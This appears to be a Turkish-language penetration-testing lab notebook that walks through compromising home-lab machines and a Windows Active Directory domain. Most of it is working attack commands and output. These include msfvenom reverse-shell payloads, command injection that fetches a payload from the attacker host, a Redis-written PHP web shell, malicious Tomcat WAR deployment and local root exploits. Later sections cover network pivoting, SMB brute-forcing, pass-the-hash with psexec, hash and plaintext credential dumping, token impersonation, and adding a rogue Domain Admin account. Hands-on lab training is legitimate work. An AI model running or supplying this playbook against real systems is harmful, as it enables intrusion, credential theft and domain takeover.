zaten karşı tarafta bir apache server var ve belliki php kodlarınıda çalıştırıyor.
sudo msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.10.130 lport=5555 -f raw > phpmoadmin.php
şimdi bu dosyamızı paylaşmak için:
python -m http.server
sonra:
curl “http://192.168.10.129/mongoadmin/” -d “object=1;system(‘wget http://192.168.10.130/phpmoadmin.php’);exit”
olmadı nede?
Çünkü burada mevcut kullanıcımızın yazma izni muhtemelen yok
peki nerde varde?
/tmp dizini
şöyle yapacağız:
‘wget http://192.168.10.130:8000/phpmoadmin.php -O /tmp/phpmoadmin.php’
bunu curl de () içerisine yazalım
eklendiğini görebiliriz(‘ls -la /tmp’):
-rw-r--r-- 1 www-data www-data 1115 Dec 11 03:21 phpmoadmin.php
php dosyasına gömdüğümüz port 5555 di
şimdi metasploit de bir handeler çalıştıralım
search multi/handler
use 7
options
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.10.130
set LPORT 5555
exploit -j
şimdi karşı taraftaki dosyayı aktif etmemiz gerek shell gelmesi için:
curl "http://192.168.10.129/mongoadmin/" -d "object=1;system('php /tmp/phpmoadmin.php');exit"
metasploit e geçtiğimizde sessions ın geldiğini gerebiliriz
burada içeriye c99,r57 shell atılabilir
veya bu curl ile de yapılabilir.
REDIS VE TOMCAT Sömürü Aşaması:
Redis de tek satırlık bir kod ile shell almaya çalışyorduk hatırlarsak
bir deneme yapalım:
sudo redis-cli -h 192.168.10.129
config set dir /var/www/html/
config set dbfilename shell.php
set payload “<?php echo shell_exec($_GET[‘e’].’ 2>&1); ?>”
bgsave
olmadı dirb ile dizin taraması yaparak hangi dizin yazma izini veriyor bunlara bakarak işlemimizi yapabiliriz.
Bu kısım challenge olarak kalsın.
Not: ssh key i karşı tarafa authorized_keys olarak aktarılabiliyor link
Tomcat:
metasploit de search tomcat_mgr_login
use 0
options
set RHOSTS 192.168.10.129
set THREADS 10
set STOP_ON_SUCCESS yes
run
192.168.10.129:8080 - Login Successful: tomcat:tomcat
browser da: http://192.168.10.129:8080/
manager wepadd e tıkla: tomcat:tomcat
sudo msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.10.130 lport=4446 -f war > tomcatTYP.war
sonra bu dosyayı tomcat e yüklemek için:
browser butonuna tıkla ve oluşturulan dosyanı seçebiliriz sonra deploy butonuna tıkla
teminalde: jar -xvf tomcatTYP.war
dosya ismi: inflated: twztbpscjz.jsp
şimd metasploit de bir handler başlatalım
search multi/handler
use 7
options
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.10.130
set LPORT 4446
exploit -j
şimdi browserda “twztbpscjz.jsp” dosyamıza gitmeye çalışalım (tomcat de tomcatTYP adında bir dizin oluştu ona tıkla ve sonra /twztbpscjz.jsp ekleyerek enter a bas)
192.168.10.129:8080/tomcatTYP/twztbpscjz.jsp
shellin gelmiş olması gerek.
DRUPAL VE LOTUS CMS Sömürü Aşaması:
Hatırlarsak drupal 8 vardı
metasploitte search drupal 8 dediğmizde
geddeon zafiyetlerini kullanabiliriz
exploit/unix/webapp/drupal_drupalgeddon2
use 1
options
set RHOSTS 192.168.10.129
set TARGETURI /drupal/
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.10.130
set LPORT 4444
bir çalıştıralım bakalım çalışacak mı?
Run
ve shell geldi
pwd
whoami
id
uname -a
hostnamectl
cat /etc/os-release
dig 192.168.10.129
ip r
ip a
lsb_release -a
hostname –fqdn
find /bin -perm -4000 2>/dev/null
iptables -L
journalctl
sudo -l -U
netstat
gibi komutlar denenebilir
lotuscms i deneyeli metasploit üzerinde
search lotuscms
use exploit/multi/http/lcms_php_exec
options
set RHOSTS 192.168.10.129
set URI /cms/
set PAYLOAD php/meterpreter/reverse_tcp
set LPORT 4440
set LHOST 192.168.10.130
deneyelim çalışıyor mu?
Run
shell geldi bir önceki komutları komutları kullanabiliriniz
YETKİ YÜKSELTME AŞAMASI:
Ssh admin@192.168.10.129
eğer sürekli ip yerine kısa bir isimlendirme kullanmak istersek hosts dosyamıza bunu bildirmeliyiz:
sudo nano /etc/hosts
# typhoon makinesi
192.168.10.129 typhoon
diye ekleyip ctrl + x , y , enter
kaydettiğimizde:
ssh admin@typhoon
yes
metallica
diyerekten bağlanabiliriz ki zaten admin kullanıcısının parolasını bulumştuk: metallica
normalde bu girişten sonra ‘sudo su‘ komutu ile root a erişebiliyorduk.
Varsayalım ki erişemedik.
Bu durumda ne yapabiliriz?
Uname -a ile çekirdek versiyonu üzerinden yürüyebiliriz.
Cat /etc/lsb-release ile dağıtım üzerinden gidelibiliriz. (cat /etc/issue)
şimdi terminalde searchsploit -s ubuntu 14.04 diye aratalım
hatırlarsak bir önceki makinede: 39166.c den bir oturum yakalamıştık
kendi dizinimizde zaten bu dosya vardı.
Bunu kullanarak bir oturum yakalamaya çalışalım
bu dosyamızı paylaşıma açalım: python -m http.server
karşı makinde tmp altına gidelim
cd /tmp
dosyamızı indirelim:
wget http://192.168.10.130:8000/39166.c
şimdi bu indirilen dosyamızı derleyelim
gcc 39166.c -o typSh
ama: couldn't create suid :(
olamdı
terminalde: searchsploit -s ubuntu 14.04
37292.c yi deneyelim:
sudo find / 37292.c|grep 37292.c
/usr/share/exploitdb/exploits/linux/local/37292.c
cp /usr/share/exploitdb/exploits/linux/local/37292.c .
python -m http.server
şimdi karşı makineye geçelim ve 37292.c dosyamızı indirip derleyip çalıştırmayı deneyelim
cd /tmp
wget http://192.168.10.130:8000/37292.c
gcc 37292.c -o shell
./shell
whoami
root
yeti başarıyla yükseltildi
sudo -l
iptables -L ile güvenlik duvarı kurallarını listeleyin
passwd <username> ile istediğin kişini parolasını değiştirin
not: kali de draw.io için izlenecek yollar:
https://github.com/jgraph/drawio-desktop/releases/tag/v25.0.2
adresinden: https://github.com/jgraph/drawio-desktop/releases/download/v25.0.2/drawio-amd64-25.0.2.deb
dosyasını indirin
daha sonra:
mkdir ~/Desktop/DrawIO/semalar;mv ~/Downloads/drawio-amd64-25.0.2.deb ~/Desktop/DrawIO;sudo dpkg -i ~/Desktop/DrawIO/drawio-amd64-25.0.2.deb;sudo apt-get install -f
bir komut zinciri ile dizin oluşturma taşıma çalıştırma işlemlerini yaptık
semalar: bu dizine https://app.diagrams.net/
buradaki çizimlerinizi /Donwloads dizininden buraya aktararak karmaşıklığı önleyebilirsiniz
Pivoting Lab Kurulum Aşaması:
Önce kevgir de root olmamız gerek:
user:resu ile giriş yaptıktan sonra
/tmp/ dizinine gidelim: cd /tmp
sonra 39166.c dosyasını kendi makinemizden buraya indirelim:
dosyanın bulunduğu dizine geç ve: python -m http.server
karşı makine /tmp deyken:
wget http://192.168.10.130:8000/39166.c
gcc 39166.c -o a.out
./a.out
root olduk şimdi:
ip adresimizi değiştirelim:
ifconfig eth0 10.0.0.5 netmask 255.255.255.0
ifconfig eth0
ip değerimizin değiştiğini göreceksiniz
şimdi:
typhoon a gidellim.
Bu makineyi açmadan önce:
edit
virtual network editor
Change settings
add network
vmnet information kısmında:
host-only
daha sonra aşağıdaki iki kutucuğu da tikleyin
subnet ip: 10.0.0.0
subnet mask: 255.255.255.0
dhcp settings kısmında:
starting ip: 10.0.0.5
ending ip : 10.0.0.254
apply ve ok
daha sonra kapaılı olan typhoon makinesinde:
edit virtual machine setting e tıkla
harware kısmında add de
network adaptor, finish de
burada oluşturduğunuz adaptörü customda seç
sonra makineyi başlat
admin:metallica,sudo su, metallica
ip addr show
burada eğer eth1 olarak bir interface yoksa
ifconfig -a ile görüntüleyin
muhtemelen ayaklanmamış olabilir
bunun için:
ifconfig eth1 up
sonra buradan hem kali hem de kevgir e ping atın
hmm... kevgir i de son oluşturduğumuz custom host-only ye atamamız gerek:
kevgir makinesinde yukarıda bir sekme gibi olan makine adı yer alır ona sağ tıklayıp settings den network adaptor e tıklayın.
Oradan da son oluşturduğumuz 10.0.0.0 lı bir network adaptörü var en ben vm3 olarak adı.
Onu seçin ok deyin sonra kevgirde:
(root ken) /etc/ini.d/networking restart
root için:
kendi makinemizde 39166.c paylaşıma açarak python -m http.server, dosyayı cd /tmp/ geçip, altına atıp, gcc 39166.c -o abc ile derleyip ./abc diyerek çalıştırdığımızda root oluruz.
İlk giriş için:user:resu
Pivoting Aşaması:
Pivoting:
normalde erişilemeyen bir sistem var
bu kurumsal bir sistem diyelim
kurulsal sisteinde dış ağa açık bir sunucusu var
eğer bu sunucuyu bir şekilde ele geçirebilirseniz kurumsal sistemin ağına sızabilirsiniz.
Biz zaten typhoonda bir root oturumu almıştık:
ssh admin@typhoon
metallica
sudo su
metallica
daha sonra kendi makinemizde:
sudo msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.10.130 lport=1337 -f elf > pivotingTYP.elf
farklı bir şekilde dosyayı yollayalım:
scp pivotingTYP.elf admin@typhoon:/tmp/
çıkarsa: yes
metallica
dosyamız tmp adltına gitti.
Şimdi typhoon da tmp altına geçelim: cd /tmp
çalıştırma izni verelim: chmod +x pivotingTYP.elf
metasploitte bir handler başlatalım 1337 portunu dinlememiz, lhost da kendi kali ipsini yazmamız ve payload olarak da linux/x86/meterpreter/reverse_tcp vermemiz gerek ardında exploit -j ile dinlemeye alalım
sonra typhon da
./pivotingTYP.elf çalıştıralım
şuan her şey doğru ve yolunda giderse meterpreter den shell almış olmamız gerek
sessions ile görüntüleyip bu shell e geçelim
sessions 1
getuid dediğimizde sen root sun diyor gayet güzel
şimdi internette “meterpreter pivoting tutorial” link
burdaki her şeyi lab ortamında deneyebilirsiniz.
Hedef alt ağa gidebilmek için:
run autoroute -s 10.0.0.0/24
run autoroute -p ile de rotayı görebilirsiniz (shell aldığımız kısımda yapıyoruz bunu kendi makinemizde)
şimdi backround a alalım
search portscan aratalım
burada tcp olanı seçelim:auxiliary/scanner/portscan/tcp
options
set RHOSTS 10.0.0.5
set PORTS 80,443,8080 (varsayılan 1-10000)
run
[+] 10.0.0.5: - 10.0.0.5:80 - TCP OPEN
[+] 10.0.0.5: - 10.0.0.5:8080 - TCP OPEN
normalde erişimimizin olmadığı ağ da tarama yaptık
ama gitmeye çalışalım: http://10.0.0.5:80/ veya http://10.0.0.5:8080/
gidemiyoruz
bunu çözmek için:
sessions 1
portfwd add -l 8009 -p 80 -r 10.0.0.5
dediğimizde karşı tarafın 80 portunu localimizde 8009 portuna bağlamış oluruz
http://localhost:8009/
dediğimizde göreceksiniz
portfwd add -l 8010 -p 8080 -r 10.0.0.5
http://localhost:8010/
manager wepadd e tıkla: tomcat:tomcat
şimdi şunu soralım: Ben burayı nasıl exploit edebilirim?
Karşı taraf bize nasıl geleceğini bilmiyor ama biz nasıl gideceğimizi buluğumuza göre bind tcp ile yani bizim ona gitmemiz gerekiyor.
Sudo msfvenom -p linux/x86/meterpreter/bind_tcp rhost=10.0.0.5 lport=1337 -f war > pivotBindKGR.war
jar -xvf myuvkkte.jsp
myuvkkte.jsp
bu bize shell getirecek dosya
şimdi mevcut shell i backround a alıp handler a geçelim:
use exploit/multi/handler
options
set PAYLOAD linux/x86/meterpreter/bind_tcp
set RHOST 10.0.0.5
set LPORT 1337
run
bu şimdilik burada beklesin
şimdi kevgirdeki tomcat tarafına oluşturduğumuz .war uzantılı dosyamızı atacağız (hatırlıyor olmanız gerek.)
daha sonra myuvkkte.jsp dosyamızı çağırmamız gerek:
localhost:8010/pivotBindKGR/myuvkkte.jsp
ve shell geldi.
Sysinfo
getuid
shell
uname -a
cat /etc/os-release
find /bin -perm -4000
aslında hiç erişilemeyen bir sistme typhoon üzerinden sistemi ele geçirdik. Sonrasında burada da root olmak için daha önceki adımlarımızı yapabilirsiniz.
ACTIVE DIRECTORY ANALİZİ:
LABORATUVAR ÇİZİMLERİ:
AĞ TASARIMI 1:
https://archive.org/details/WinXPProSP2ENG
XJM6Q-BQ8HW-T6DFB-Y934T-YD4YT
https://archive.org/details/win-8.1
Win8.1_EnglishUS_x64.iso
win7 ile win2008Server i zaten indirmiştik hatırlarsak.
Bunlara 128-512MB arası ram ve 10-15GB hafıza vermeniz yeterli.
Yalnız kurarken host-only bir interface verin kurulanakadar net e çıkmasın.
Kurulduktansonra firewall ları kapatın.
Bu aramaları google de yaparken mesela:
intitle Windows 8.1 Professional site archive.org
gibi bir yol izleybilirsiniz.
Google dorking yapmayı öğrenmeniz bu açıdan önemli.
Ben ayriyetten sanal makinelerin linklerini key leri ile birlikte ayrı olarak vereceğim.
NOT: kurulum yaparken asla interneti açmayın. Host-only olarak internetsin bir ortamda sanal makineleri kurduktan sonra internete çıkış yapabilirsiniz.
Ek olarak güvenlik duvarlarının hepsin kapatın
password olarak hepsinin aynı yapın: Passwd123!!!?
AĞ TASARIMI 2:
NOT: SANAL MAKİNELERİN GÜVENLİK DUVARLARINI KAPAT!
ANKARA makinesi(win7):
control panel\Network and Internet\Network and Sharing Center
local are connection
properties
interne protocol version 4 (2 kez tıkla)
ıp address : 192.168.11.150
subnet mask : 255.255.255.0
default gateway: 192.168.11.2
SAMSUN makinesi(win8):
bu makineye vm den ayarlardan 2 tane network adaptörü ekleyin
yukarıdaki adımları izleyerek:
ilk network adaptör için:
ıp address : 192.168.11.150
subnet mask : 255.255.255.0
default gateway: 192.168.11.2
dns server : önce 8.8.8.8 i verin ve winscp yi indirin sonra bu ipyi verin=> 192.168.11.200 (bu server makinesin ip si)
winscp yi açın:
file protocol: scp
port number: 22
host: <secretpc nin ip sini girin: 10.0.0.11>
username: admin
password: Passwd1!
İki kutucuğu da işaretleyin
normalde “not recomended” yazar parola için ama bir çok kuruluş bununla uğraşmamak için kaydeder.
ikinci network adaptör için:
ıp address : 10.0.0.10
subnet mask : 255.255.255.0
SECRETPC makinesi(winXP):
ıp address : 10.0.0.11
subnet mask : 255.255.255.0
ctrl + r, cmd.exe
net user admin Passwd1! /add
net localgroup Administrators admin /add
net users
net user admin
burada ki kullanıcı bizim samsundan erişim aldığımız kullanıcı olacak
ADPC makinesi(win server):
NOT: bu sürümde çeşitli aksaklıklardan ötürü 2012 r2 yi kurdum
https://www.microsoft.com/en-us/evalcenter/download-windows-server-2012-r2
vm kurululumdan NAT ağını seçin
başlangıç olarak 2gb ram ve 15gb hafıza vermeniz yeterli
burada kurulumda datacenter gui olan kısımı seçin
Windows Server 2012 Datacenter Evaluation (Server With a GUI)
karşınıza custom seçeneği çıkacak ou işaretleyin
devam edin
kurulum otomatik olacaktır.
Daha sonra admin parolası isteyecek yeni kurulum olduğundan
Passwd123!!!? yaparsınız
güvenlik duvarlarını kapatın
önce:
ıp address : 192.168.11.200
subnet mask : 255.255.255.0
default gateway: 192.168.11.2
dns server : 127.0.0.1 (kendi local ip adresini verelim)
daha sonra windows tuşuna basın ve search kısmında “server manager” yazıp girin
sol yukarıda “Roles” e tıkla
sağ tarafta “add roles” e tıkla
aşağıdaki kutucuğa tik atın
next
Role-Based seçeneği seçin next
next, next
seç: Active Directory Domain Services
seç: DNS Server
next, next, next, next
yukarıda Restart th destination kutucuğunu işaretle ve install butonuna bas
şimdi bu yüknele dursun biz ankara makinemize geçelim
cmd yi admin olarak açın
birkaç tane parolası basit olan kullanıcılar ekleyelim
sanırım admin hesabı aktif değil onu aktif edelim
net user Administrator Passwd123!!!?
net user Administrator /active:yes
net user admin admin /add
net user Dogukan Passwd123 /add
net user Egitim Passwd123!!!?
net localgroup Administrators Dogukan /add
net localgroup Administrators Egitim /add
net localgroup Administrators
burada Administrator ile Egitim aynı parola var şimdilik biz bu egitimi pasife çekelim
samsun makinesine gidelim ve orada da benzer adımları yapalım
admin, Dogukan, Egitim oluşturalım
Administrator hesabını aktif hale getirelim
sonra Egitim mi pasif hale getirelim
ActiveDirectory makinemiz olan 2012 server r2 makinemize dönelim
promote this server to a domain control tıklayın (yükleme bitmiş olmalı)
çıkan ekranda Add a new forrest a tıkla
burada bir domain vermemiz gerek mesela: activeDirectory.local gibi
next
parola olarak da: Passwd123!!!? yapalım
next, next, next, next, install
burada bekliyoruz domain yapısının kurulmasını sağlıyor
şimdi samsun makinemize geçelim
winscp yi açalım daha önce luşturduğumuzu silelim
file protocol: ftp
host: 10.0.0.11
username: admin
password: Passwd1!
Save butonuna tıkla aşağıdaki kutucukarı tikle
site-name: ftp-secretpc
ok deyin
new site e tıkla şimdide scp yi seçin
site-name e kadar aynı
site-name: scp-secretpc
kutucukları tikleyin
ok deyin
sonra:
şimdi yeni ADPC ye geçin domain hazır
samsun makinemizi domaine ekleyelim
samsun makinesine geçelim
control panel/System and Security/System
advenced system settings
computer name
change
domain
activeDirectory.local
ok
biz dns olarak bu makineye 192.168.11.200 ip sini verdiğimizden ve bu makinede ADPC olduğundan eğer böyle bir domain varsa username/password soracaktır
username: Administrator
password: Passwd123!!!?
onay gelirse makinemizi bu domaine üye yapmışız demektir.
Makineyi restart edelim
geri gidelim ve başka bir kullanıcı ile girşi yapalım
ACTIVEDIRECTORY\Administrator
Passwd123!!!?
şimdi bu makinenin firewall ını kontrol edelim
domain için otomatik açmış bunu kapatalım
şimdi cmd den ping atalım makinelerimize bakalım gidiyor mu?
Ping 192.168.11.2
Ping 192.168.11.108
Ping 192.168.11.150
Ping 192.168.11.200
bakalım diğer network deki makinemize gidebiliyor muyuz
ping 10.0.0.11
evet gidebiliyoruz sıkıntı yok
burada sıkıntı yok şimdi ADPC için bakalım aynı şekilde
bu makinemizde de bir sıkıntı yok
son kez olarak toparlayalım:
win7 hazı bu makineyi önce ele geçiteceğiz
daha sonra win8 e geçiş yaparak buradaki domainAdminSeassion ı var bunu üzerimize alacağız
ADPC ye domainAdminUser ekleyeceğiz
Daha sonrasında winXP ye geçiş yapacağız
ayrıca win8 içerisindeki winscp de ki bilgiler ile winXP ye geçiş yapmaya çalışacağız
Nmap ve Nessus ile Tarama
sudo /sbin/service nessusd start
browser da: https://kali:8834/
terminalde:
nano ip-list
192.168.11.150
192.168.11.152
192.168.11.200
ctrl + x, y,enter
bu ipler sırasıyla:
Ankara
Samsun
ADPC
makineleriydi
şimdi bu listeyi kullanarak smb portlarına kaşı bir savaş açalım ki genelde ne çıkıyorso u portlardan çıkıyor:
sudo nmap -iL ip-list -p 445 –scritp=smb-vuln-*
bu çalışırkern diğer bir terminalde:
sudo msfdb init
hata alırsanız:
sudo service postgresql start
sudo /etc/init.d/postgresql start
sudo msfdb init
sudo msfcosole
nmap terminaline geçelim birkaç notumuz var onu alalım
bir çok zafiyet çıktı yalnız biz 150 ipsininki baz alacağız
not: 192.168.11.150 de ms17_010_eternalblue zafiyeti var
şimdi nessus a geçelim
new sacn diyelim
advenced scan diyelim
name: AD Network Taraması
targets: 192.168.11.150, 192.168.11.152, 192.168.11.200
save
AD Network Taraması nı seçin ve sağ üst te launch butonuna tıklayın
sistemler üzerinde çok bir şey olmadığında hızlı tarayacaktır
bizim için ana makine 11.150 makinesi Allah ne verdiyese buradan gideceğiz :)
şimdi bekleyelim
bir çok zafiyet elde etik.
Şimdi bunlar burada bir dursun daha sonra bakarız bu kısımdan gidersek çok basit olur.
O yüzden nessusd service ini kapatalım
önce durum kontrolü:
sudo systemctl status nessusd.service
sudo systemctl stop nessusd.service
eğer bir servisin sürekli olarak çalışmasını isterseniz:
örn: sudo systemctl enable nessusd.service
eğer bir servisi sürekli olarak çalışması istemezseniz:
örn: sudo systemctl disable nessusd.service
rockyou.txt dosyamıza bir veri girelim:
sudo sed -i '100i Passwd123!!!?' /usr/share/wordlists/rockyou.txt&&echo '==>>Passwd123!!!? verisi başarı ile eklendi'&&grep -n 'Passwd123!!!?' /usr/share/wordlists/rockyou.txt
bu:
rockyou.txt dosyasının 100. satırına bir veri girer, eğer veri ekleme işlemi olumluysa ekrana bir metin basar, bu da olurrsa rockyou.txt dosya içerisinde eklediğimiz veri var mı, varsa hangi satırda onu söyler.
Hedef makine 11.150 olduğundan bunu orada kullanacağız.
Msfconsola a gidelim
search smb_login
use 0
hedef makineye brute-force saldırısı yapalım
amaç burada ki hashleri almak
options
set RHOST 192.168.11.150
set THREADS 20
set STOP_ON_SUCCESS true
set SMBuser Administrator
set PASS_FILE /usr/share/wordlists/rockyou.txt
set SMBDomain .
Options
NOT: tümünü varsayılan değerlere çevirmek için: unset all
ek olarak bunu medusa ve hidra ile de yapacağız
run diyerek çalıştıralım
192.168.11.150:445 - 192.168.11.150:445 - Success: '.\Administrator:Passwd123!!!?' Administrator
bulduk.
Şimdi medusa ile deneyelim:
sudo apt upgrade mesua hydra
burada medusa için kullanabileceğimiz moduller mevcut
ls /usr/lib/x86_64-linux-gnu/medusa/modules
sudo medusa -h 192.168.11.150 -u Administrator -P /usr/share/wordlists/rockyou.txt -M smbnt -n 445 -t 10
ACCOUNT FOUND: [smbnt] Host: 192.168.11.150 User: Administrator Password: Passwd123!!!? [SUCCESS (ADMIN$ - Access Allowed)]
şimdi de hydra ile yapalım
ls /opt/nessus/lib/nessus/plugins|grep hydra
burada modul olarak kullanabileceklerimiz mevcut hydra için
sudo hydra -l Administrator -P /usr/share/wordlists/rockyou.txt smb://192.168.11.150 -s 445
[445][smb] host: 192.168.11.150 login: Administrator password: Passwd123!!!?
ve burada da bulduk.
Şimde msfconsol da search smb/psexec:
bunu seçin: exploit/windows/smb/psexec
psexec: windows ortmalarda uzaktan komut çalıştırmaya yarıyan elle ayarlanması gerek bir araçtır.
NOT:
sudo apt udate
sudo apt upgrade metasploit-framework
sudo msfconsole –version
sudo -u postgres psql
\l
ALTER DATABASE msf REFRESH COLLATION VERSION;
\q
sudo msfconsole
bu version eşleşmesinden dolayı bir hata alıyorduk onu düzelttik
şimdi aynı adımları ele alalım search smb/psexec e kadar
search smb/psexec
use 1
options
set SMBuser Administrator
set SMBPass Passwd123!!!?
set RHOST 192.168.11.150
run
evet girdik
şimdi:
getuid
sysinfo
hedef sistemden hasleri almak için:
migrate -N lsass.exe
hashdump
buradakileri alalım bir dosyay kaydedelim
admin:1001:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:21320accbb0e30d0b917efb33d4a1557:::
Dogukan:1002:aad3b435b51404eeaad3b435b51404ee:2e9a50e1775a0d511db2b243265fa85b:::
Egitim:1003:aad3b435b51404eeaad3b435b51404ee:21320accbb0e30d0b917efb33d4a1557:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
windows7:1000:aad3b435b51404eeaad3b435b51404ee:21320accbb0e30d0b917efb33d4a1557:::
sudo nano windows-11-150-hash
ctrl +x, y, enter
bunu john the ripper ile çözelim:
sudo john windows-11-150-hash --show –format=NT
burada buluğunu göreceksiniz
tekrar metasploit e geri dönelim ve smb den giriş yaptığımız makineye kiwi yi yükleyelim
load kiwi
load incognito
sonra diğer terminale geçerek windows-11-150-hashdump dosyamızda ki kullanıcı adlarını bir başka dosyaya yazdıralım:
sudo cut windows-11-150-hashdump -d ':' -f 1 > windows-11-150-users&&cat windows-11-150-users
hash leri de bir başka dosyaya kaydedelim
sudo cut windows-11-150-hashdump -d ':' -f 3,4 > windows-11-150-hashs&&cat windows-11-150-hashs
bunları diğer sistemler için brute-force ataklarında kullanacağız
NOT: DİĞER MAKİNELERDE KOMUTTAN OLUŞTURDUĞUMUZ KULLANICILARA BİR KEZ GİRİŞ YAPIN
ÖRN: DOMANİN E ALDIĞINIZ KULLANICILAR İÇİN DOMAİN ADRESİNİ ALMADIKLARINIZIDA HEMEN OTHER DEDİĞİNİZDE ALT KISIMDA YÖNLENDİRME VAR ŞUNA BENZER BİR ŞEY EKLEMENİZ GEREK BAŞINA ÖRN:
username: WIN-FVUGJ3471LB\admin
parola: admin
not: ters slah için: alt + 92
bunu yapın ki kullanıcı dosyaları oluşsun daha sonra egitim kullanıcısına akti edip içeri girin masa üstüne bir dosya oluşturun daha sonra bu kullanıcıdan çıkıp administrator hesabına geri gelin ve metasploit de kaldığımız yerden devam edelim
bazen sırayı karıştırabiliyorum ama olsun her zaman yapılan her şey dört dörttük olamaz. (başka şeyler de yaptığımdan bazen kafam karışabiliyor :/ )
şimdi samsun makinesine bir brute-force saldırısı için ele geçirmiş olduğumuz ankara makinesindeki hashleri ve username leri kullanarak bir attack başlatalım
bunun için önce anakara makinesini backround a alalım
daha sonra:
search smb_login
use 0
set –clear SMBUser
set –clear RHOSTS
set PASS_FILE /home/dogukan/btk-uygulamali-sizma-testi/windows-11-150-hashs
set USER_FILE /home/dogukan/btk-uygulamali-sizma-testi/windows-11-150-users
set RHOSTS 192.168.11.152
samsun makinesi
set STOP_ON_SUCCESS no
set THREADS 10
Amacımız:
ankara makinesinde elde ettiğimiz username/password_hash kombinasyon bilgilerinin bu makinede yakalayabilirmiyiz ona bakacağız
run
Sanırım samsun makinesinde egitim kullanıcısı açayı unuttunk açalım onu samsun makinede:
cmd.exe(administrator)
net user Egitim /active:yes
tekrar run edelim
[+] 192.168.11.152:445 - 192.168.11.152:445 - Success: '.\admin:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634'
[+] 192.168.11.152:445 - 192.168.11.152:445 - Success: '.\Administrator:aad3b435b51404eeaad3b435b51404ee:21320accbb0e30d0b917efb33d4a1557' Administrator
[+] 192.168.11.152:445 - 192.168.11.152:445 - Success: '.\Dogukan:aad3b435b51404eeaad3b435b51404ee:2e9a50e1775a0d511db2b243265fa85b'
[+] 192.168.11.152:445 - 192.168.11.152:445 - Success: '.\Egitim:aad3b435b51404eeaad3b435b51404ee:21320accbb0e30d0b917efb33d4a1557'
başarılı girişlerimizi bulduk şimdi sırada ki senaryomuz...
yakaladığımız bu bilgilerden mesela administrator bilgileri ile hedef makineye geçmeye çalışalım:
search smb/psexec
exploit/windows/smb/psexec
use 1
set RHOST 192.168.11.152
set SMBPass aad3b435b51404eeaad3b435b51404ee:21320accbb0e30d0b917efb33d4a1557
set SMBUser Administrator
set SMBDomain .
Set SMBSHARE C$
set LHOST 192.168.11.108
set LPORT 8888
run
ve geldi:
getuid
systinfo
load kiwi
creds_all ile beşki açık metin parolalarını ele geçirebiliriz.
Eğer böyle bir çıktı alıyorsanız:
[+] Running as SYSTEM
[*] Retrieving all credentials
muhtemelen yetkisiz bir proccess desiniz.
Windowsun yetkili proccess lerinden birine geçiş yapalım
migrate -N lsass.exe
windows bir çok kriptografik işlemleri bu proccess üzerinden yürütür
şimdi creds_all diyelim
burada bir çok bilgi yakaladık mesela
load incognito
list_tokens -u
şu user ı üzerimize alalım:
ACTIVEDIRECTORY\Administrator
impersonate_token ACTIVEDIRECTORY\\Administrator
shell
önce bakalım almışmıyız:
whoami veya getuid
şimdi bir bu domain e bir kullanıcı ekleyelim:
net user hack Passwd12 /add /domain
bir de crackmapexec ile denelim ama önce samsun makinesinden hashdump ile bir admin hash ini alalım normalde parolaları da görebiliyor olmamız gerek ama sonrun değil
zaten samsun makinesine girip hatta bir kullanıcı bile oluşturmuştuk metasploit üzerinden
şimdi exit yaparak çıkın ve run ile tekrar bağlanın
migrate -N lsass.exe
hashdump
burada administrator unkini alasak yeter şuan:
daha sonra:
sudo crackmapexec smb 192.168.11.152 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:21320accbb0e30d0b917efb33d4a1557
şimdi
nano deneme-hash
aad3b435b51404eeaad3b435b51404ee:21320accbb0e30d0b917efb33d4a1557
sudo john deneme-hash –show –format=NT
aad3b435b51404eeaad3b435b51404ee:Passwd123!!!?
yani
username: Administrator
password: Passwd123!!?
şimdi bunu aynı şekilde crackmapexec de yine deneyerek görebiliriz
sudo crackmapexec smb 192.168.11.152 -u Administrator -p 'Passwd123!!!?' -d ACTIVEDIRECTORY –lsa
şimdi username ve password ü de doğruladığımıza göre ADPC ye bir gitmeye çalışalım psexec ile:
search smb/psexec
use 1
set SMBDomain ACTIVEDIRECTORY
set SMBPASS Passwd123!!!?
set SMBUSER Administrator
set RHOSTS 192.168.11.200
run
sysinfo
windows server makinesine geldiğimizi görebiliyoruz
şimdi karşı makinede bir kullanıcı açalım
shell
net user hack Passwd1 /add /domain
net group “Domain Admins” hack /add /domain
şuan her şeyimiz hazır
bunu da backround a alalım
şimdi samsun makinesi bir dönenlim
sessions 5
ipconfig
bakın burada 11.152 ve 0.10 makinelerini görüyoruz bunları not alalım
çünkü bu, bizim arka tarafa geçiş için bir bilet gibi düşünebiliriz
hatırlarsak bu makineye winscp kurmuştuk
burada yüklü yazılımlara bir bakalım
run post/windows/gather/ennum_applications
winscp yi burada gördük
acaba burada işimize yarar bir şey varmı ona bakalım
run post/windows/gather/credentials/winscp
[+] Host: 10.0.0.11, IP: 10.0.0.11, Port: 21, Service: FTP, Username: admin, Password: Passwd1!
Bu makineden 0.11 makinesine bir balantı yapılmış daha önce
biz ise bu username/password ü buradan çıkardık
bu aşama: POSTEXPLOIT aşaması denir.
Bu arada “hack” diye bir kullanıcı oluşturmuştuk
crackmapexec ile 11.152 makinesine gidebiliriz Domain e de üye ya sıkıntı olmayacak
sudo crackmapexec smb 192.168.11.152 -u 'hack' -p 'Passwd12' -d 'ACTIVEDIRECTORY' –lsa
sudo crackmapexec smb 192.168.11.152 -u 'hack' -p 'Passwd12' -d 'ACTIVEDIRECTORY' –sam
bu iki veri tabanınada Administrator yetkisi gerekli (lsa, sam)
lsa da:
şifreleme anahtarları, hash’ler, servis bilgilerini görebiliriz
sam de:
Yerel kullanıcı hesapları ve hash bilgilerini alabiliriz.
Ara bilgi başlangıç:
1. Yatay Hareket (Lateral Movement)
Tanım:
Bir saldırganın, ele geçirdiği sistemden ağdaki diğer sistemlere hareket ederek erişim sağlama sürecidir. Amaç, aynı yetki seviyesinde diğer sistemlere ulaşmak veya daha fazla bilgi toplamaktır.
Özellikleri:
